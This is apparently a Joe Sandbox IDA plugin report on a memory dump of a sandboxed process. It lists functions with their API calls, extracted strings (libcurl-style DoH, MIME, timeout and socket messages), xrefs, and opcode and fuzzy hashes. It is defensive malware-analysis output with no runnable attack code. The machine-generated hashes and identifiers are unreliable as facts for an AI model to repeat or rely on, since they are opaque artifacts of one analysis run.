bad error code, xrefs: 00D68FC5, 00D68FF1, 00D69030, 00D6905C
DOH Host name: %s, xrefs: 00D690B3
DOH: %s type %s for %s, xrefs: 00D68FF2, 00D6905D
Could not DOH-resolve: %s, xrefs: 00D694F3
AAAA, xrefs: 00D68FE2, 00D68FF0, 00D6904D, 00D6905B

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$fwrite$htonsmemset
String ID: %s$%s%02x%02x$AAAA$CNAME: %s$Could not DOH-resolve: %s$DOH A: %u.%u.%u.%u$DOH AAAA: $DOH Host name: %s$DOH: %s type %s for %s$TTL: %u seconds$bad error code
API String ID: 2611945536-4053692942
Opcode ID: d000839a1fed3f9dc5c5f613b5137213f5baa6b36a05ac3a1ddc9e28786d710e
Instruction ID: 9488b7cdbfa1d5b278aba454c4b5f1944c561fdf7dbb00e84fa0a2e77a5af53c
Opcode Fuzzy Hash: d000839a1fed3f9dc5c5f613b5137213f5baa6b36a05ac3a1ddc9e28786d710e
Instruction Fuzzy Hash: E7F1E471904345AFDB219F249C8AFABB7E8EF45305F040429FC8997242E775EA149BB2

Function 00D220F0 Relevance: 36.4, APIs: 9, Strings: 11, Instructions: 1410stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 00D22218
strncmp.MSVCRT ref: 00D2222C

Strings

I64, xrefs: 00D22226, 00D22250
-, xrefs: 00D22CF7
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00D22A2F, 00D2304F
.%ld, xrefs: 00D22CE4
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00D227C9, 00D22A34, 00D23056
(nil), xrefs: 00D22E49, 00D22EDF
I32, xrefs: 00D22212
%, xrefs: 00D22B36
0, xrefs: 00D23108
%ld, xrefs: 00D22C87
$, xrefs: 00D221B0

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strncmp
String ID: $$%$%ld$(nil)$-$.%ld$0$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz$I32$I64
API String ID: 1114863663-1693084657
Opcode ID: fc1313c05a855f5ad61f1b47c157c65043aa23a184875fb1212ac8c8afa3f207
Instruction ID: 357e460a3720ff93c8148ec7ac8ebd33300f6c8ece9dc99f922eb4381cdcb15e
Opcode Fuzzy Hash: fc1313c05a855f5ad61f1b47c157c65043aa23a184875fb1212ac8c8afa3f207
Instruction Fuzzy Hash: BFB20F315083219FD711DF18E88477ABBE1EFA4328F280A2DF8D597291D375DA45CBA2

Function 00D336A0 Relevance: 21.7, Strings: 17, Instructions: 457COMMON

Download Yara Rule

Strings

multipart/mixed, xrefs: 00D337CA, 00D33ABF
multipart/form-data, xrefs: 00D33B86
multipart/, xrefs: 00D33ABA
text/plain, xrefs: 00D3374E
Content-Transfer-Encoding: %s, xrefs: 00D33B12
; boundary=, xrefs: 00D33A80, 00D33A91
Content-Type, xrefs: 00D336F2
Content-Disposition: %s%s%s%s%s%s%s, xrefs: 00D33A2C
Content-Type: %s%s%s, xrefs: 00D33A93
form-data, xrefs: 00D33B9B, 00D33BB8
Content-Disposition, xrefs: 00D33822
; name=", xrefs: 00D339E4
; filename=", xrefs: 00D33A0C, 00D33A21
attachment, xrefs: 00D33850, 00D33865
8bit, xrefs: 00D33B11, 00D33B3E
application/octet-stream, xrefs: 00D337B6
Content-Transfer-Encoding, xrefs: 00D33AE2

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: 8bit$; boundary=$; filename="$; name="$Content-Disposition$Content-Disposition: %s%s%s%s%s%s%s$Content-Transfer-Encoding$Content-Transfer-Encoding: %s$Content-Type$Content-Type: %s%s%s$application/octet-stream$attachment$form-data$multipart/$multipart/form-data$multipart/mixed$text/plain
API String ID: 0-1595554923
Opcode ID: 056014c663e9c36a2cf6008111cd8ca60593519dbe920da1bf5f3a0b7c8914e7
Instruction ID: f1b04adcb9a8b6fa7e60a76b7edaaacff0f75290461bf87ebc43dc58bde9585d
Opcode Fuzzy Hash: 056014c663e9c36a2cf6008111cd8ca60593519dbe920da1bf5f3a0b7c8914e7
Instruction Fuzzy Hash: 9FD1F5B1A08344EFEB318E25DA85762B7D8AF51744F0D4438EC8587242E3B9DE04DBB2

Function 00D666B0 Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 446COMMON

Download Yara Rule

Strings

TUUU, xrefs: 00D66771
%s%lx, xrefs: 00D6696F
0, xrefs: 00D66B10
%02x:, xrefs: 00D667A8, 00D66836, 00D6688C
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00D66BD8
GMT, xrefs: 00D66A8E
TUUU, xrefs: 00D66803
FALSE, xrefs: 00D667DD
GMT, xrefs: 00D66B73
TRUE, xrefs: 00D667E2, 00D667EA
TUUU, xrefs: 00D66859
0, xrefs: 00D66B15
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00D66AD2

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$%02x:$%s%lx$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$0$0$FALSE$GMT$TRUE$TUUU$TUUU$TUUU
API String ID: 0-1939689028
Opcode ID: d2b7ce8e1f2922e157ff893d7b59181b6ee1667994e0c401f298348d3d774078
Instruction ID: 51fb757a626bfdbc349bfb5e96c8d8e3bd4b4bd83b89c013b46b1bbf5327f55e
Opcode Fuzzy Hash: d2b7ce8e1f2922e157ff893d7b59181b6ee1667994e0c401f298348d3d774078
Instruction Fuzzy Hash: 3DE1BB71A042149FDB148EA8C880776BBD5DBC5308F0C85BEE889CB392E676DD46D7B1

Function 00D6A7B0 Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 497stringCOMMON

Download Yara Rule

APIs

strtol.MSVCRT ref: 00D6A981
strlen.MSVCRT ref: 00D6A9DC
strlen.MSVCRT ref: 00D6AC30
strlen.MSVCRT ref: 00D6AC54
strcpy.MSVCRT(00000000,?), ref: 00D6AC7A
strcpy.MSVCRT(00000000,?), ref: 00D6AC96

Strings

%%%02x, xrefs: 00D6AB85
&, xrefs: 00D6AC82

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$strcpy$strtol
String ID: %%%02x$&
API String ID: 2637003386-2622809338
Opcode ID: 6bc8666f207fdeb77872c051794181480035f15282a27b0f02197cc4c4b23609
Instruction ID: da5d3417ea09dee7054c6c3b738dc76ffdde430a44416dab05fffa4241ea1161
Opcode Fuzzy Hash: 6bc8666f207fdeb77872c051794181480035f15282a27b0f02197cc4c4b23609
Instruction Fuzzy Hash: 4D0219B0504205AFE7109F28DD4576A77A1AF40348F0C0835F9CAA6262F77AD968DFB3

Function 00D29A20 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 335COMMON

Download Yara Rule

APIs

memchr.MSVCRT ref: 00D29A7D
memchr.MSVCRT ref: 00D29BCB
_errno.MSVCRT ref: 00D29CC5

Strings

0123456789abcdef, xrefs: 00D29BC6, 00D29BD7
0123456789, xrefs: 00D29A78, 00D29AA7, 00D29D9B, 00D29DC5
0123456789ABCDEF, xrefs: 00D29BE3, 00D29BF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memchr$_errno
String ID: 0123456789$0123456789ABCDEF$0123456789abcdef
API String ID: 2043447294-3773776233
Opcode ID: 13915eb6b4b3d5c5a8b4ba355b978afd504ac174aae189c43cdc6bcadb6a0d9f
Instruction ID: 66f5a37f19a1ddd520afa79d97dc3bac5475e3054111a0c9989d1a70be6ed18a
Opcode Fuzzy Hash: 13915eb6b4b3d5c5a8b4ba355b978afd504ac174aae189c43cdc6bcadb6a0d9f
Instruction Fuzzy Hash: 36B1C0315093958FD724CF24E0A476AFBE1EFA5348F19882DE8C987281D775CC45DB62

Function 00D11F10 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 300COMMON

Download Yara Rule

APIs

Part of subcall function 00D215C0: GetTickCount.KERNEL32 ref: 00D215C0

memset.MSVCRT ref: 00D120D4
fputs.MSVCRT ref: 00D12255
fflush.MSVCRT ref: 00D122B8

Strings

#, xrefs: 00D12243
%*s, xrefs: 00D12174
-, xrefs: 00D1218A
%%-%ds %%5.1f%%%%, xrefs: 00D120E9
-=O=, xrefs: 00D1218F

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: CountTickfflushfputsmemset
String ID: %%-%ds %%5.1f%%%%$#$%*s$-$-=O=
API String ID: 6529526-1632668997
Opcode ID: 32e0ac4945d9034023f0f76215d57859ee3bfb5639a2c0e2db034b3b01a1fda5
Instruction ID: eea050a1656551f3856c1bca7c4954750b9351b36d7fd577f69014c62f927775
Opcode Fuzzy Hash: 32e0ac4945d9034023f0f76215d57859ee3bfb5639a2c0e2db034b3b01a1fda5
Instruction Fuzzy Hash: 1AC1A9716083009FC714CF2DD88095AF7E6FFC8314F158A2EE899C77A1DA31E9558B52

Function 00D3C770 Relevance: 12.1, APIs: 8, Instructions: 80encryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00D3C7AD
CryptAcquireContextA.ADVAPI32(?,00000000,00000000,?,F0000000), ref: 00D3C7C4
CryptCreateHash.ADVAPI32(?,?,00000000,00000000), ref: 00D3C7E1
CryptHashData.ADVAPI32(?,?,?,00000000), ref: 00D3C7F3
CryptGetHashParam.ADVAPI32(?,00000004,?,?,00000000), ref: 00D3C80F
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000), ref: 00D3C830
CryptDestroyHash.ADVAPI32(00000000), ref: 00D3C83E
CryptReleaseContext.ADVAPI32(?,00000000), ref: 00D3C84F

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyReleasememset
String ID:
API String ID: 2041421932-0
Opcode ID: a21c5a89d9551a0083cc8c8c5fdd05a60816bb5a0c1e039a39c73a5295659dfb
Instruction ID: 0d666d8db0a4f38d04a5916d56ccfa678e686c2747201c0d0bfd8f097c7535b5
Opcode Fuzzy Hash: a21c5a89d9551a0083cc8c8c5fdd05a60816bb5a0c1e039a39c73a5295659dfb
Instruction Fuzzy Hash: 1F212870218341BBE7209F15DC4AF1BBBE8FF84B44F14482DF688A6294E776D904CB66

Function 00D476C0 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 266stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D476D4
memcpy.MSVCRT(?,?,?), ref: 00D4789C
memcpy.MSVCRT(?,?,?), ref: 00D479CA

Strings

Failed writing body (%zu != %zu), xrefs: 00D478F8
Write callback asked for PAUSE when not supported!, xrefs: 00D4790B
Failed writing header, xrefs: 00D4791E

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memcpy$strlen
String ID: Failed writing body (%zu != %zu)$Failed writing header$Write callback asked for PAUSE when not supported!
API String ID: 2619041689-2483876519
Opcode ID: f5d3b81f68d804d8d223619d7d619ce0101365022c34de5952257eac00b6443b
Instruction ID: 1ef7ccc29132233ff06285e54b188c369e786509d68544773049c9a6bff47e9c
Opcode Fuzzy Hash: f5d3b81f68d804d8d223619d7d619ce0101365022c34de5952257eac00b6443b
Instruction Fuzzy Hash: 8191E231A0C3049BDB219F69DD85BAAB7E5FF84308F19042EEC8847241E771AE41DBB1

Function 00D274E0 Relevance: 9.2, Strings: 7, Instructions: 406COMMON

Download Yara Rule

Strings

Operation timed out after %d milliseconds with %I64d bytes received, xrefs: 00D28101
Resolving timed out after %d milliseconds, xrefs: 00D276B7
Internal error clearing splay node = %d, xrefs: 00D28AD1
*, xrefs: 00D28C1E
In state %d with no conn, bail out!, xrefs: 00D28CB8
Operation timed out after %d milliseconds with %I64d out of %I64d bytes received, xrefs: 00D27CC4
Connection timed out after %d milliseconds, xrefs: 00D27C65

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: *$Connection timed out after %d milliseconds$In state %d with no conn, bail out!$Internal error clearing splay node = %d$Operation timed out after %d milliseconds with %I64d bytes received$Operation timed out after %d milliseconds with %I64d out of %I64d bytes received$Resolving timed out after %d milliseconds
API String ID: 0-1633414443
Opcode ID: 13dc52c8cdd3e6aaed79ceae340a330575fa0326a3b699e87816300aeafe75f6
Instruction ID: 82f4673cee2752183fbccc802897019adf7b3909905341c2e6011c361b1090aa
Opcode Fuzzy Hash: 13dc52c8cdd3e6aaed79ceae340a330575fa0326a3b699e87816300aeafe75f6
Instruction Fuzzy Hash: C8E1EF716053109FE7209F14E841B6BB7E5FF65308F08492CF999872A2EB71E814EB72

Function 00D13700 Relevance: 9.1, APIs: 6, Instructions: 69processCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00D13716
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00D13734
GetLastError.KERNEL32(00000008,00000000), ref: 00D1373E
Module32First.KERNEL32(00000000), ref: 00D13759
Module32Next.KERNEL32(00000000), ref: 00D13784
CloseHandle.KERNEL32(00000000,00000000), ref: 00D1379D

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: Module32$CloseCreateErrorFirstHandleLastNextSnapshotToolhelp32memset
String ID:
API String ID: 2996058108-0
Opcode ID: 75d3dd85febe83b7a6d68225d99113cb0aa2c526789b38edf1ea8051a8f91c1d
Instruction ID: e7feb3efd1326ccf7890ee12dbcc66f5946f78f3506f868e2764c1e502a380a7
Opcode Fuzzy Hash: 75d3dd85febe83b7a6d68225d99113cb0aa2c526789b38edf1ea8051a8f91c1d
Instruction Fuzzy Hash: 7B0196F160020437F66171B97C4ABAB318CDB95368F290534F989C61C2E979EE5593B2

Function 00ECEE90 Relevance: 7.6, Strings: 6, Instructions: 129COMMON

Download Yara Rule

Strings

Auth, xrefs: 00ECEEE1
ntel, xrefs: 00ECEED4
ineI, xrefs: 00ECEEC9
enti, xrefs: 00ECEEEC
cAMD, xrefs: 00ECEEF7
Genu, xrefs: 00ECEEBE

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: Auth$Genu$cAMD$enti$ineI$ntel
API String ID: 0-1714976780
Opcode ID: 30a1b6f0e564be8d07df84ea30504acaa5bb7ec169232fbda98bf8fdb4b6cb7d
Instruction ID: 71b3b500b51cf1f4ffa6a1417bbc6c6504b6e4ca6552d4e266bdf1f9e78c3852
Opcode Fuzzy Hash: 30a1b6f0e564be8d07df84ea30504acaa5bb7ec169232fbda98bf8fdb4b6cb7d
Instruction Fuzzy Hash: F9312677B145970AFB38582C994676C2083A390334F2AC73DE52AE77D5E57A8D824290

Function 00D473D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,00000000,?,00000000), ref: 00D474B1
send.WS2_32(?,?,?,00000000), ref: 00D474DD
WSAGetLastError.WS2_32(?,?,-00000009,00D56F14,?,?,?,-00000009,?), ref: 00D474F3

Strings

Send failure: %s, xrefs: 00D47518

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ErrorLastrecvsend
String ID: Send failure: %s
API String ID: 3418755260-857917747
Opcode ID: 7ea17c3a1834c0218f162eb5aa5aca03affc8e325d65b0ac5c060e9b9e7d7fad
Instruction ID: a7ac5541c88ea58e437dd1823007de10e2d6256021100734a043db35bb960686
Opcode Fuzzy Hash: 7ea17c3a1834c0218f162eb5aa5aca03affc8e325d65b0ac5c060e9b9e7d7fad
Instruction Fuzzy Hash: FA413D712082409FE760CF24DC94B7677E8EF89328F180668E8999B395D735ED01CB71

Function 00D15A00 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 295stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D15A34
strncmp.MSVCRT ref: 00D15A48

Strings

no-, xrefs: 00D15A42
The file name argument '%s' looks like a flag., xrefs: 00D15DC3

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

